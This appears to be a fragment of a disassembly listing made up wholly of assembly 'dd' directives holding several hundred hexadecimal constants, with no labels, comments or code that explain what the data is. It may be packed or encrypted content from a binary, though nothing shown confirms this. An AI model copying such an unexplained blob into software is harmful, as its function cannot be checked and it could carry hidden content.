		dd 20094DFEh, 605502B2h, 48C2E4F2h, 0B01F573h, 288BF627h
		dd 856030C9h, 4400D890h, 0D8D37975h, 9036ECA9h,	58CB0354h
		dd 7D21CFA1h, 0A39E3BE8h, 0D602B57Dh, 37F99FE8h, 1CF0E0C4h
		dd 6A6540C0h, 57A50B1Eh, 0E4042DFh, 3E9A2272h, 0E9E200C4h
		dd 0A75B8D09h, 0D839D947h, 2A1700ACh, 23144A34h, 52F00B4h
		dd 53F39CE0h, 8D00301Ch, 2C90599Eh, 2CDFD20h, 3C586335h
		dd 2049A486h, 0F82991h,	0ECBC1A0Eh, 1EAF8A78h, 8E8214EFh
		dd 0CEA06098h, 5B534BB3h, 77739500h, 17F9565Eh,	0C6FD0040h
		dd 0F5FB6282h, 0B700CCA5h, 73AF29ABh, 9F48CC0h,	0B2774CE9h
		dd 802A9081h, 33C0EE65h, 9CB86F7Fh, 0D27EA904h,	0ACE13244h
		dd 3F86C4C0h, 93801BE4h, 68F7ABE3h, 0D249D67h, 2E006470h
		dd 0B5B37F81h, 0B23E00E9h
		dd 296B1DD2h, 2100FA5Ah, 0BD6AC295h, 0A5B994h, 0A220F08Fh
		dd 61586226h, 0FFB82F00h, 0AC2BE4EEh, 0F69F70D7h, 2AE70002h
		dd 1D9E67A8h, 0A20424FBh, 3909DFF0h, 5D5F78E0h,	421334EFh
		dd 0E9B44B28h, 0C86C8048h, 0A5084503h, 3C8331E4h, 9E0355D8h
		dd 0C7B7587Eh, 5C34859Ch, 0B0DB0EC4h, 0FE17DD40h, 610126B5h
		dd 0F4F3A009h, 68C584h,	0D7A1A906h, 112E8AF7h, 0CCB88CB1h
		dd 0E86A0081h, 96145120h, 0F6720009h, 0EB258D4Fh, 0C77D8F5h
		dd 0A2077571h, 0D20D908Ch, 8F083F42h, 0F69F018Ch, 0E070A895h
		dd 0C986035Fh, 0DF4D7081h, 48C711C0h, 0DBE8F50Eh, 0FEAEC06Eh
		dd 4EB3BACEh, 0E3600010h, 9491471Dh, 9D2AED02h,	81401689h
		dd 17C008DCh, 83699043h, 0FB90873Dh, 37304F3h, 0AC2E6BD0h
		dd 69C0017Eh, 0C20058FDh, 6A665164h, 2C218E3Eh,	0F50556Fh
		dd 0CE20C67Eh, 0E5C29F7Dh, 70DCBF0Bh, 49CF8018h, 0BEF093h
		dd 55E0B54Ch, 0C21A739Eh, 3507ED00h, 0FC961D9Ch, 39F90030h
		dd 4A153A1Fh, 130508FFh, 5B2DBFAEh, 29A2008Fh, 86D1A83Bh
		dd 0D6ED003Ch, 8E1958DEh, 3B707BCEh, 0C700A7F6h, 0F16742ECh
		dd 0BAEDF27Eh, 64190144h, 1C8E8201h, 9104245Ch,	0B33F9900h
		dd 268C386Bh, 2C8F00EDh, 33FD8A23h, 0C90A2EE7h,	0D4D8254Dh
		dd 80505200h, 73ECE42Dh, 907BFE03h, 6F4100E4h, 0B05D6B31h
		dd 301E8FFCh, 7A405369h, 0C650D492h, 163F7865h,	83A82E2Dh
		dd 3D099ACh, 106063F5h,	5FD30119h, 5BC00721h, 1081D8DBh
		dd 0EB4E4436h, 9EDFEF09h, 109824EAh, 3FD5E4A4h,	9CAC5683h
		dd 99E00038h, 6D94962Ah, 1FCAEE0Ch, 0B318A3h, 0BF13DB15h
		dd 5B36D380h, 83915500h, 9E3DB8C2h, 0B280011h, 0B46A5C38h
		dd 6624D2FEh, 0CD000CECh, 0E2CC3080h, 57E40313h, 1EFC217h
		dd 0E8A4D0A1h, 0B9048953h, 0A699CB70h, 8B689580h, 450909Dh
		dd 198A662Ah, 4B0C806Ah, 2125320Fh, 0D35CA5C6h,	1FAD9CE0h
		dd 837CEC9Eh, 0C03A8FEBh, 29C027EBh, 6F00A561h,	53ED9994h
		dd 58F65Ch, 0AA2E370Bh,	33F2438Dh, 0C086A80Bh, 730C91E7h
		dd 7CB4DCC8h, 119001C6h, 939BA946h, 0E46376h, 424E08BCh
		dd 0F1B68h, 0AB87F622h,	0C20D7119h, 8B3B1600h, 0A431EC5Dh
		dd 90BC1C95h, 0CADC394h, 8898BADCh, 0F10A960Ah,	0A08FAB24h
		dd 9DC1FA04h, 52F04080h, 4F6E0ADFh, 9F023A7h, 8881565Bh
		dd 0C0EF8EFAh, 0ED0F9045h, 806DC201h, 5612C604h, 302D035Ch
		dd 497086D4h, 6723FDB0h, 0AD7B4007h, 0EC01921Dh, 0E1D86B45h
		dd 31F60E25h, 820FC016h, 0BC73BFC0h, 7F0094CFh,	69CC1B3Ch
		dd 30830h, 5545F304h, 0C3FBC8A7h, 941EB61Fh, 0CADCC000h
		dd 0EAD79311h, 0A7F443h, 6FEAAB80h, 0A2E122B9h,	5FA03700h
		dd 0BDC89D0Ch, 497EA5h,	4D847007h, 4602668Bh, 0FF023CB0h
		dd 1ED35DD8h, 0FB037DE1h, 0B0018EABh, 31677B80h, 1AD8FA98h
		dd 918F074Bh, 27CDFAFh,	80FDD1EEh, 1B10542Bh, 0C4E10021h
		dd 0C87DA8DCh, 1EFAC668h, 9D01247Bh, 26888593h,	6430DA5Ah
		dd 0AA11009Bh, 1AFFF5F9h, 350EF7BAh, 9D4ABB94h,	7B72DC0h
		dd 0AFFC05h, 31D08860h,	927B34FEh, 2EB21900h, 0B5A61415h
		dd 0D3ED03D8h, 0DA2B16CFh, 3B67D4D8h, 9F708A00h, 0A88D522Eh
		dd 144039AEh, 40DD279Fh, 0CEA5B57Bh, 0FC3AC432h, 0E40881F7h
		dd 6322E6CDh, 0F6F3E4h,	302B96B9h, 0AEAA5415h, 3DE79C0Bh
		dd 0E2000008h, 6642A3h,	1B1F3789h, 0C6D5819Bh, 0E6FECD24h
		dd 7E59E900h, 992E09h, 98A05AE7h, 6E1893E8h, 441FAA73h
		dd 268069C4h, 3B68AD04h, 280EE97h, 0C89ADE01h, 0B840752Ah
		dd 0FD0025E4h, 1679B69Fh, 4B1E32h, 0CC5E2CFFh, 21DAA8D0h
		dd 0A005ECB2h, 57C5C47Dh, 282CE0A1h, 40F1A81Eh,	6C6F27B9h
		dd 0DA0051CCh, 40BB4E9Bh, 0B8F238F0h, 0EFD21E70h, 10B0C50h
		dd 51018F11h, 0EA26D1C3h, 8474B92Fh, 710E363Ah,	59003299h
		dd 5A20E638h, 0D38A95h,	89B4B1B2h, 7EC31477h, 83500403h
		dd 0EFDDB525h, 4281BD70h, 0FF54004Ch, 8C8DEC4Fh, 0BC00E152h
		dd 5908F5E4h, 4CAF67h, 174FC7CCh, 43EA22D2h, 423840A0h
		dd 82877101h, 6A9BF8E0h, 7A6FB0D3h, 0A31400FFh,	1AFC1EA5h
		dd 960F485Dh, 0E77C62B5h, 0FDA185F3h, 6E7023A0h, 0C4800E9Eh
		dd 20807116h, 0B7842DE1h, 8D0F6700h, 624B68E6h,	1E730039h
		dd 2B81BCC5h, 0B648103Dh, 48CE0F4Ch, 8215A0FBh,	3DD5FE13h
		dd 0ED80C157h, 5BB76042h, 0B43A48E6h, 0E007E9Ah, 9701B9C8h
		dd 4C44056Bh, 0FF057D3Ah, 9418B6h, 6F343188h, 0AA3CE44Eh
		dd 0B3E96701h, 0D46CEB81h, 3B5D1180h, 37D2291Ch, 39EC510Ah
		dd 4D18A0BFh, 96F821h, 2B05651Ch, 7898E092h, 0A00A7F8h
		dd 55CA5E1Ah, 0AF66FD6h, 0F01595BCh, 685C03B8h,	0D1D843A2h
		dd 700EE0B1h, 8CDFFA85h, 0B98909h, 39984386h, 4BB1F8D6h
		dd 0D70D02E2h, 0B0E23B7Dh, 80EDA891h, 0D2231C51h, 61448CA7h
		dd 1CB400FAh, 88B6E5C1h, 21249FE6h, 7F9D284Ch, 8C484400h
		dd 2A6A2Ch, 69725A6Fh, 8DDDFE2Fh, 0C79F5D07h, 0B6852234h
		dd 297896C0h, 81F900F2h, 0B1834D30h, 591D7D95h,	0F500B991h
		dd 270B2CADh, 8472D2h, 0E09C3A60h, 0E808454Dh, 5878E0B5h
		dd 2F7A3224h, 4973011h,	98AF31C1h, 4871080h, 455DE02Bh
		dd 0D8DD2100h, 43773893h, 31350678h, 2855F8ACh,	0E92DE722h
		dd 0B6206808h, 11804277h, 19210FB2h, 51427B0Ch,	0EAF94474h
		dd 44651144h, 3C627CF1h, 24ED0829h, 2051228Fh, 58722203h
		dd 987BC107h, 9ED05B1Ah, 0B0FB19CCh, 28DD0090h,	2B548AECh
		dd 84001774h, 0D27F2333h, 1D944CCCh, 41C679AAh,	0CDF6FD85h
		dd 97ADF8A4h, 46687D00h, 0AF5F4192h, 4023009Dh,	0E9F6D3C7h
		dd 37008399h, 1C0DDE1h,	383B3F07h, 7A02585Ch, 969D117Fh
		dd 79885663h, 0F6035476h, 4F176BF1h, 8B7CF014h,	107D0337h
		dd 0D1EC8270h, 7EF9FA98h, 6BC27602h, 0C09793CCh, 765AF838h
		dd 1B8F07A5h, 0D0870E1Dh, 9C7BC3A9h, 13C2D8A0h,	0B1CCB400h
		dd 0E6A4DC5Fh, 0F81500B2h, 8A7D9A80h, 581C45D8h, 0BC986F96h
		dd 0C9E9860h, 0BB0B8FF1h, 0B3008E10h, 9B775A06h, 0B5EC3Fh
		dd 2D0A1D0Dh, 0BF100E34h, 0DEB1BA2Dh, 73310014h, 18FE63B2h
		dd 64498900h, 507232E9h, 0CABD1829h, 8CAB201Ch,	4038E830h
		dd 0C39244BEh, 9B4A89D4h, 3DFBA5E0h, 2B79471Ch,	0B09F916h
		dd 604400EDh, 26632CE6h, 1F3E48FDh, 58047A19h, 81EA754Ah
		dd 709E3956h, 0E071BB9h, 1C7E20Fh, 9D5E7B00h, 1D85007Ah
		dd 93988E88h, 0D7009E60h, 7E774331h, 0F43D08h, 52562844h
		dd 5B546E84h, 4500CFB0h, 4CB9DB89h, 53BEAC4h, 32D2157h
		dd 337BF013h, 0AE462B00h, 656B3864h, 1E940CA9h,	212EAA0Eh
		dd 0E7E65D00h, 7886A106h, 0B7F8A5h, 717CF657h, 3C5412FEh
		dd 204548h, 4B7F6C86h, 14119F0h, 0E4DBD921h, 609BCB38h
		dd 0BB0A4394h, 0ECAB27E8h, 0C011120Eh, 28847BAh, 0DE8E017Ch
		dd 85BC4FACh, 8F1EBE5Bh, 0C0EE2835h, 19A4E2AAh,	0D83D006Eh
		dd 0E0121BDAh, 0D200D741h, 94BB9E87h, 0E07AB445h, 71AA004Eh
		dd 0AFF3AB39h, 3C00D4CBh, 3BF7385Bh, 0ED1CC58h,	9C425FFFh
		dd 3AF23403h, 12BE1FF0h, 461B1E00h, 0C45763FEh,	9A810EA0h
		dd 8689C1CDh, 461E0C20h, 50006404h, 27582CB3h, 509BD19Fh
		dd 0F45EF429h, 0C18C0047h, 0E663869h, 0F4120A23h, 485B79h
		dd 3F20EEB0h, 194F617Bh
		dd 52B2B300h, 0A9701E13h, 0E3883EDAh, 0F881F000h, 0BECCA6FAh
		dd 0ED5E1600h, 0B50AF3EAh, 1FBC01E9h, 1E65029Ah, 1D95202Ah
		dd 2981F100h, 61CE1921h, 0F6D03CAh, 644CC3ECh, 5D97C2A8h
		dd 19415900h, 5368FEC6h, 695700CCh, 20291AE2h, 0BD00A595h
		dd 677259ECh, 555E61h, 1973816Dh, 8332220Eh, 8B05F90Fh
		dd 4C0A44D1h, 0E7D6B0C0h, 0B4C40003h, 6D0EC9A5h, 3C001BE4h
		dd 0C2DD182Bh, 79951Dh,	0CD736682h, 2DFE201Fh, 32E34005h
		dd 0D200919Dh, 0AF10B837h, 0C2CE0092h, 0CA4703C5h, 0FB01BFDDh
		dd 15B02BE5h, 13E0DE0Dh, 2FC97BA1h, 3FE0CADFh, 0DB0408C1h
		dd 7FE3D6D9h, 0F7E24CC0h, 6177F439h, 0D8511083h, 98E9C805h
		dd 0D456FA00h, 0A8D727Ch, 809A82h, 1AC79086h, 2151CF14h
		dd 0A12C6776h, 7300677Eh, 4930FB18h, 1E5AE061h,	83B87BFCh
		dd 1E74EE0Eh, 0C04FC998h, 1FE46C1Ch, 0F019E027h, 0DF220520h
		dd 806EA1D7h, 0E9A6D8FBh, 6A00377Ch, 82402504h,	7036B74h
		dd 4F889E4Bh, 84F9C034h, 2E00C762h, 0FFFC0E05h,	0B5465Eh
		dd 368AC0F2h, 56A3387Fh, 6F395500h, 0A81B683Bh,	2F740043h
		dd 0CCEF2980h, 38036C0Ch, 0E322D7BEh, 89BA88C0h, 75F000B4h
		dd 7C420A18h, 0CB009F85h, 0B95723BBh, 9569CFh, 4037298h
		dd 0A26A4558h, 52663100h, 0B3EC563Dh, 5A4600DCh, 64264393h
		dd 8C010119h, 0FE9FFFBh, 55F46B09h, 65B900D7h, 0B7E79BDEh
		dd 0A5002F92h, 7662A2BFh, 741306h, 0CEB173C1h, 7A97EEF4h
		dd 75D7C300h, 0E155DCF6h, 17FF48FEh, 6835150Bh,	0E4F488h
		dd 0A3FC7B02h, 0AC00C145h, 6EA63EE6h, 3E49A59h,	0D86DECEAh
		dd 478BBC4Ch, 4D89B8C8h, 0AE250E00h, 3C686F6h, 0F08B00BEh
		dd 0D3D84714h, 690161DEh, 49724BD9h, 0D1F05343h, 67FAA9h
		dd 79AF2EB8h, 22F41ED2h, 3D422B00h, 0A0957321h,	0F29A045Dh
		dd 0C0334631h, 0F1A205DAh, 94CE148h, 8AD88Fh, 5CB8C038h
		dd 1E767CC8h, 450EC6h, 1C261D95h, 0D600DCD1h, 60D86E8Dh
		dd 1706D3C4h, 0D2B242h,	5A2617D6h, 0A90135F9h, 3143A1E8h
		dd 0B4205CDDh, 1B6B003Ah, 79710F78h, 0AF1229D6h, 3902A9C7h
		dd 40996A80h, 2146D9h, 0CCE49727h, 9F14506Ch, 0C4B27F00h
		dd 1007A6F8h, 5A6207D3h, 0A0948389h, 0A961CA46h, 8050B74Ch
		dd 41FFEEF0h, 91A2423h,	0D7B500C4h, 11C0D196h, 8FD34D00h
		dd 1A5A7C53h, 38BD7A50h, 2A87F28Ah, 0A0249288h,	0DBDA160Ch
		dd 0BE57D400h, 6D3C0809h, 9E580A33h, 2F9A8DEh, 5F37E767h
		dd 351DCD40h, 0A146CA07h, 89132DF5h, 0E885D0FBh, 7FCF00BEh
		dd 83974574h, 0C00FA904h, 6067BB2Eh, 105D854Fh,	9D10005h
		dd 0A6DEC8BFh, 0EA1DB334h, 1D8097DCh, 0F48B4BFCh, 62450202h
		dd 58740DBEh, 6A52BCC0h, 34008B98h, 1BB5727h, 503903h
		dd 7124C0C9h, 9A1EC819h, 2A0458B0h, 417F6F7Ah, 42D003C7h
		dd 1A0722h, 0D9E2CDA8h,	0B0FE92E8h, 0F1183A01h,	0C7817D29h
		dd 62CFC0h, 2B03D7A3h, 0E1AC975Fh, 1D7CC205h, 588177FDh
		dd 65EC38D2h, 282600F5h, 0FB0C1492h, 99002F7Ch,	54B1F1FEh
		dd 341B2ECh, 9C13FAC1h,	24901EE8h, 995CCEF3h, 800C3C84h
		dd 0CB846DB7h, 0B9034Ah, 8C694858h, 20EBB2E3h, 4443EE00h
		dd 9F4E52D7h, 40D90056h, 0B4173F8Fh, 0B2005FC9h, 0AA959BCCh
		dd 202BC7h, 0DC1FCB14h,	40BAFD0h, 640AB460h, 383087Ah
		dd 6B737480h, 100087B9h, 19042BE6h, 0D9A5FEh, 5D6CAC36h
		dd 0FDF8BB86h, 243A7918h, 4C0C8168h, 4014DFF9h,	7D8C5Eh
		dd 397BEBC1h, 993B8F36h, 0BEA4900h, 16272E63h, 17E77E1h
		dd 4ECE5185h, 2FBA5701h, 6883280h, 9E4AD3h, 5A844C68h
		dd 0B7F4AB6Dh, 0DFE60D00h, 0D580F921h, 6B4E00EBh, 32BDB6DBh
		dd 0D600B2C2h, 0DEF7A070h, 16D2629h, 27D25C9Fh,	0EE950A60h
		dd 0B45B72E0h, 0C68C9116h, 0CF84B31Dh, 3DC0D7E1h, 1E22B0FDh
		dd 404D5561h, 0C30428C8h, 93007471h, 347D94B2h,	0C46621h
		dd 0BFB5E91h, 0AFA78CC6h, 0E201B600h, 5275CEA2h, 47EE68Dh
		dd 0BFB19FD3h, 60B480B8h, 307E4D9h, 9BC8888Fh, 986EA7B0h
		dd 0ECDB005Bh, 7C0431DCh, 930A9C73h, 0F8CAD0BDh, 70002612h
		dd 666E3C3h, 0DE410087h, 1E91E781h, 1103B9C8h, 362F2AECh
		dd 0F56088B1h, 1326006Dh, 0F25DA4F9h, 0A001636Ch, 285C8D96h
		dd 6870ED24h, 5CEA5CAFh, 694E5900h, 0F03BC28Ah,	0CA629B00h
		dd 0DA713EB0h, 6E990276h, 0F9556342h, 20B29261h, 860020FEh
		dd 0D623674Eh, 3F767E74h, 9E0C5A41h, 0D329CA12h, 2E829507h
		dd 66B0C4BCh, 0EC167Eh,	0E1110F3Eh, 8FAE57A6h, 0D677300h
		dd 0FC2A19D6h, 22340295h, 0EBDDF0D1h, 4AA70A0h,	0AD16AC9Ch
		dd 540031BAh, 1A8E73B6h, 0DDA83C34h, 0D3BCE0Fh,	0D961C160h
		dd 7F305F43h, 0BF30E0DEh, 549805D1h, 0C05AF24Dh, 0A9EF2CBCh
		dd 0EC25C800h, 6F067AD2h, 0A1E30E43h, 8415681h,	801DE0BEh
		dd 18019AC8h, 4CCC2E24h, 5D1832D6h, 0ABA65875h,	5EDC0E00h
		dd 0C36073D5h, 3F6E0546h, 80BA3BFEh, 0A3561D74h, 2D27A100h
		dd 1F51888Ch, 7CF85CBEh, 0A0A21300h, 0D057126h,	70E5C178h
		dd 2D5010E0h, 30B0648Eh, 800035EEh, 0AB17FCCBh,	0E2DB77h
		dd 398946E6h, 9A2DF788h, 0D2713600h, 7E5A3A9h, 0A50E0026h
		dd 1A3B0835h, 9400D9C4h, 825E3102h, 0B87174FBh,	0EC4908Ch
		dd 0EC0B7069h, 1311317h, 9CC36548h, 9200F2F6h, 0FC4FEFF3h
		dd 2E450B99h, 80A0D881h, 31BEB925h, 5E758900h, 7B787EFAh
		dd 44C20704h, 0D02777CCh, 636F4FFDh, 0C6C8401h,	0BADEE293h
		dd 498440DAh, 688F00B4h, 0DC8E8C38h, 0A0032BF6h, 73B360D5h
		dd 0AD72B153h, 4AA75860h, 0B53000B4h, 48E38E19h, 0F55D5C2Ch
		dd 0EC00B124h, 72FABA7Dh, 3D080121h, 2D8CFCDCh,	0C0F44058h
		dd 1BE2C649h, 72BE6B00h, 4BB79894h, 0D0A80059h,	0A3D2C97Dh
		dd 0BD0061B5h, 41FABB13h, 2804711Ah, 0C0A177h, 52FB178Dh
		dd 0F22951D3h, 6CC2E201h, 2C6D3D2Dh, 67000022h,	5D8408DAh
		dd 6FE889B2h, 6600877Fh, 5298CC81h, 0E3C5BA5h, 0C6B82320h
		dd 600ACFA0h, 0C81435B7h, 0B8937Ah, 0EC1E26FFh,	0D3E7B4h
		dd 2AD6F5Eh, 5080651Dh,	2421E300h, 0CF688EF8h, 2817009Fh
		dd 681DF1Fh, 44037A78h,	70C2959Dh, 0D99CD072h, 809E0EE0h
		dd 0B9E07D97h, 0B761CE2Dh, 57798208h, 0D37C02F8h, 58401CA2h
		dd 261E8496h, 74C05861h, 8249C7F6h, 0FAEF0042h,	7E9C0FDAh
		dd 361F8E34h, 960FBC29h, 71433D7Dh, 0E8119F8Ch,	40386Eh
		dd 0ED205018h, 10883EA1h, 0CEBA2700h, 58D8F953h, 1F2B00E8h
		dd 477A4D74h, 525A0E9Fh, 92590C09h, 704B62A8h, 10120000h
		dd 362E3F3Bh, 0C3B21D6h, 0EAD28056h, 0A8F6ED29h, 0DFB5008Dh
		dd 198B9D6Fh, 9E00BC0Eh, 0EB1745DDh, 5AAB9F54h,	53141F95h
		dd 0FD84C03Fh, 5748FE8Dh, 32EB0010h, 131EE697h,	6AFF0719h
		dd 0A0C296EAh, 9ADFF948h, 19C589Fh, 6E47A9C3h, 70C927AAh
		dd 0FF1236E4h, 0E4008152h, 239DA6CFh, 0E4F90345h, 7AD78F62h
		dd 54976003h, 904B5069h, 60425D63h, 0FDBC1876h,	79018EC5h
		dd 1770E11h, 10D1B365h,	2448BF20h, 0A4EB50h, 946C6807h
		dd 0EE004E40h, 5F6AD0C9h, 0F47ECBD1h, 544F001Ah, 677B6959h
		dd 0B77E8E98h, 77DF9C00h, 4C1E40BCh, 1B0B17BFh,	0AED442D5h
		dd 42008359h, 7D8CE13Eh, 0AD9D0069h, 0CC5B50EEh, 1614A1D5h
		dd 9CA210h, 0F67B0C66h
		dd 0D688B3h, 0AB3E58C8h, 825260A3h, 3AFCFE00h, 0A8EA3419h
		dd 2FCE02AEh, 0E47981BEh, 963D8464h, 5A7B00DCh,	0B849984Ah
		dd 8CB842h, 564D6D86h, 0AC2B33F5h, 13636900h, 4AB3735Bh
		dd 19FE55h, 9281916Ah, 617BF771h, 93443Ah, 0B02917E5h
		dd 22F1948h, 0D78C63CFh, 64C486B7h, 78DFE300h, 0EC9E3406h
		dd 81970072h, 2DE87D95h, 13ECC3A9h, 35005890h, 0F28C2CABh
		dd 2DEA9843h, 4C00A4D5h, 0FC2D1393h, 5ACB600Fh,	9799C170h
		dd 0C2EC957Eh, 92C61CAAh, 208E8005h, 30B3DE9Ah,	8059F23Fh
		dd 4611692Bh, 12F5077Ch, 0E8E02Eh, 0A879D18h, 1300BCA1h
		dd 1B3A8BDAh, 230876h, 21E18656h, 8C8FB639h, 4000C0B0h
		dd 0B5A0FCECh, 782BF285h, 0F752078Dh, 0B2FE9B61h, 8157A30Dh
		dd 0ED7F8C2Ch, 93CF1180h, 153F6896h, 0BD04CE00h, 282FAABBh
		dd 76DF259h, 722D0D4Eh,	6AD25067h, 9A0025C9h, 60DE2A0Ah
		dd 374DF9h, 263E9B50h, 0A5DA2431h, 0B0448100h, 0C929C34Bh
		dd 0F4B1038Ah, 0B539F75Fh, 59F35B90h, 0FA614200h, 0C6A44C78h
		dd 0F9BF00C7h, 3197FB09h, 74006FF0h, 0E6D61FCEh, 4C1D9Ch
		dd 84351C12h, 538AEDEEh, 9524850Eh, 9C6CE07Bh, 3B3966D8h
		dd 8D00FC06h, 0CC70B262h, 551D5C09h, 0CB00D31Fh, 67D7763h
		dd 74DA008Eh, 0BB667F59h, 0F701B2F8h, 48FE0291h, 38F8C789h
		dd 0EA120043h, 0F858B150h, 0D31F5C71h, 208F9626h, 0AF942044h
		dd 7D97EFEh, 6A293057h,	0D84C30BCh, 10181593h, 0D1F062B1h
		dd 975700DBh, 3AC99440h, 0E0B54314h, 0F435AF16h, 6200018h
		dd 6550495Bh, 5F001196h, 0E44F0854h, 0BB44F0h, 0D4073AD5h
		dd 62C07A1Ah, 27575500h, 65719CD2h, 0AF7E5Bh, 251F58E4h
		dd 61A88884h, 0EDE23200h, 0F506C9E7h, 40E500F2h, 0C638CE90h
		dd 140AE137h, 0D832C52Bh, 2841981Eh, 51C4A189h,	68808EC1h
		dd 796E7256h, 0E80065E5h, 10A1610Fh, 87DF85h, 0B45A2C99h
		dd 31F0FD05h, 72D84300h, 0EA07CDBCh, 8B750503h,	8070C146h
		dd 0B21029D6h, 0B13E9306h, 0E2322063h, 81266F9Bh, 17ABE00h
		dd 2270B9D4h, 6C14AE74h, 14101B9Ah, 381CC4B0h, 0ED1E80A1h
		dd 491DE993h, 27C83E42h, 0B218C0F8h, 2A1ACF8Fh,	0FE713000h
		dd 0C26C794Ah, 0F2BC09A8h, 0A500AF64h, 590E96CBh, 0F0EADB00h
		dd 0A505C243h, 0C1320C31h, 0F179DD8Ch, 833ED498h, 0F011E0F5h
		dd 50A920A6h, 1F1CF1AAh, 3061AF57h, 56A4321h, 0C659F40Ah
		dd 0AA2C5822h, 214C3200h, 0C7551Ch, 158A1126h, 740E180Bh
		dd 83003BE4h, 69FE3756h, 4C1D2517h, 0A6014AB7h,	81E624E4h
		dd 8821E8F8h, 7AEF3Fh, 0D1F26FC9h, 7F458E28h, 47DB1E32h
		dd 446E69h, 0CE4C1CF6h,	0BB0C086Ch, 0D1D9BC2Eh,	0DA880E0Ah
		dd 4D604FF4h, 0DF1E6383h, 27858F06h, 0B11AAEh, 0B42843C2h
		dd 664FBFEAh, 9239C4A0h, 85F0252Ch, 676DB200h, 543A7781h
		dd 53D027h, 0D49622E4h,	3609C371h, 940076F2h, 0EFEEA51Ah
		dd 3019D3CDh, 0B131335Dh, 0AD005E13h, 7CEE5550h, 351C6B2h
		dd 192327F8h, 290F3472h, 6D5426h, 6542B92Fh, 13C630CCh
		dd 38609AA9h, 0E43E68F6h, 726A09BAh, 78A981B7h,	0CF30D10Ch
		dd 0D0F06083h, 39F4CED7h, 19592560h, 81B490h, 5EFED5E2h
		dd 0CFFF9FC6h, 21A5FA01h, 9765BAEEh, 20C04E80h,	70D0B049h
		dd 15644479h, 76413EC8h, 0E4902380h, 99C07AC7h,	3D5B62F3h
		dd 0D2860064h, 1DA41C54h, 3F0CCFA5h, 29239A27h,	0C350009Bh
		dd 0D985B3AFh, 0B6F8493Bh, 0EDA0B90Fh, 68D5A030h, 0BAE08Ah
		dd 86D624ADh, 67091FDCh, 0EEA4500h, 894ACC2h, 58903C1h
		dd 0ED788459h, 0DFE044E3h, 3302C08Ch, 28A08A4h,	0B6F2209Dh
		dd 1B03D27Eh, 1335DD3Ch, 0A70830B4h, 7EBF5121h,	0AEE79C00h
		dd 74D14F47h, 0EC580071h, 9ECCA90Eh, 8A039B08h,	893D2067h
		dd 0DCE1C092h, 44E4DDh,	0BCFFF2C1h, 0D0F4E7C9h,	0A4F888h
		dd 315D62DDh, 86231EBBh, 27BED71Fh, 0FE5C2C80h,	64FAA77h
		dd 0F29378BFh, 0C103393Fh, 49B39E7Fh, 6911008Eh, 0E5954355h
		dd 3D7AD4A9h, 7D085163h, 0CE200093h, 0B2ED43AEh, 9200DBDAh
		dd 20096814h, 0ECCB38C5h, 60996CE0h, 48CB858h, 0E0F84356h
		dd 20966251h, 0E543A3C9h, 0B6CD8800h, 6C7007A2h, 12E40A31h
		dd 91B4C3E3h, 7EF0808Ch, 8CEC1BD0h, 539544h, 0DC377EB9h
		dd 0FF0240C8h, 98F12B30h, 60384817h, 0DDE6A8FBh, 0C43A281Ah
		dd 7C040072h, 4E4C02FDh, 6BE816h, 91DE6265h, 3F78D301h
		dd 0CCB0962Eh, 6093E30Eh, 8DA27DD4h, 0B6E000F7h, 0A7FE477Ch
		dd 9F003E06h, 84266B86h, 11BEBFCh, 799B8C9h, 0C8CC3CE2h
		dd 8600E723h, 3AB9F401h, 30CC882h, 9ECAF11Dh, 9931C79h
		dd 786A7488h, 80DC6F3Bh, 68FAC12Ch, 98E53975h, 0C59E2F8h
		dd 77E1F7B4h, 4C1BF229h, 0E1100E3Ah, 198059DDh,	7144F5EAh
		dd 0D03A8C64h, 7CE040FAh, 480460C6h, 0A2EF1C0Dh, 0CCB7200h
		dd 7C65DCFCh, 0F6A53CA3h, 0F9D91801h, 0CC70764Fh, 6F0080E8h
		dd 437BC78Ah, 1EF255A7h, 865E8Fh, 0F1B0E4FEh, 0D0FDA9F6h
		dd 0AE0048FFh, 0BF1DD454h, 1ECA5EC6h, 0C074EA0Ch, 2E4591E1h
		dd 0B0015CA3h, 79F2C432h, 0C1886F66h, 6C865DEFh, 0C197AC0h
		dd 76D6DAF3h, 0A26F8AA8h, 0CAFA8520h, 0E32391C0h, 1C16035Dh
		dd 6A5ADAF2h, 0F08AC000h, 94FC5566h, 0B7320028h, 397F9DBh
		dd 7D03E786h, 899CA3E3h, 0AA4190EDh, 0F301000Eh, 1F443F20h
		dd 0D700F449h, 0E94F3E8Bh, 0FD43829h, 1CBD6D2Ch, 0DB124180h
		dd 0F8E8982Bh, 43EB6200h, 0CA5AED07h, 0B3023C90h, 0D0282700h
		dd 2210B20Ah, 5BCD6700h, 0D713BD6Fh, 0F503039Fh, 90C1A77Bh
		dd 677AB188h, 317E2400h, 1E85688Eh, 18690026h, 0B9D8C643h
		dd 2F03DAFFh, 88F7BCFEh, 7680B0B7h, 0E321008Fh,	17F4BF7Bh
		dd 97EE504Fh, 0D1B39007h, 60A0968Dh, 0F8FE2F3h,	80C73615h
		dd 0FF141800h, 1D0A9725h, 80ECFEF8h, 4E3293Eh, 3D50185Ch
		dd 0B119582Dh, 0BFBC0E5h, 4F6A5200h, 0DD7E5E60h, 50C606F3h
		dd 28EA477Ah, 421E0C22h, 0D364116Eh, 11460611h,	5A212695h
		dd 90D15D08h, 37D48462h, 0FA451648h, 420E2808h,	224312Eh
		dd 12D26821h, 30CF108Ah, 6D081E89h, 22F88820h, 0A75049D6h
		dd 4345CA64h, 4429EEFFh, 90A007F2h, 0D5002EFEh,	6F0A5843h
		dd 6B3923h, 91B0952Fh, 8867738Eh, 68E06Fh, 72083B74h, 55A5004Ch
		dd 5B02BDDAh, 4D00E647h, 0BBB1267Ch, 203C25h, 2C17AF60h
		dd 11F64F5h, 0A0F1E800h, 0EEA9E1FBh, 0BB905A8h,	1F95A62Ah
		dd 80F74097h, 0F4F3CAF6h, 0EE81EF07h, 11009939h, 6C3A29h
		dd 93E46F91h, 50383BB9h, 4B9B4C00h, 645BF4B1h, 0E90900DBh
		dd 74294054h, 7E00FC73h, 19BF71F9h, 951B0A9h, 5B22BC21h
		dd 5E100Eh, 0EABAF398h,	0D6186A8Eh, 0C6586F50h,	0C3AA3FF8h
		dd 3C00473Ch, 1101FD56h, 0DF049130h, 883236C4h,	0B7383080h
		dd 6726122Dh, 0CE861FAEh, 7B6BA03Ch, 5FB08600h,	8C9036D5h
		dd 0C48F5B00h, 0A839728Ch, 6DF60078h, 80DBAF5Ch, 9000E7E8h
		dd 0EB719F1Ch, 3E526EF2h, 40000EB2h, 0A13BDFB1h, 30038A41h
		dd 0A8E06379h, 7C0AE837h, 0D3920943h, 815704BBh, 0BC0762BBh
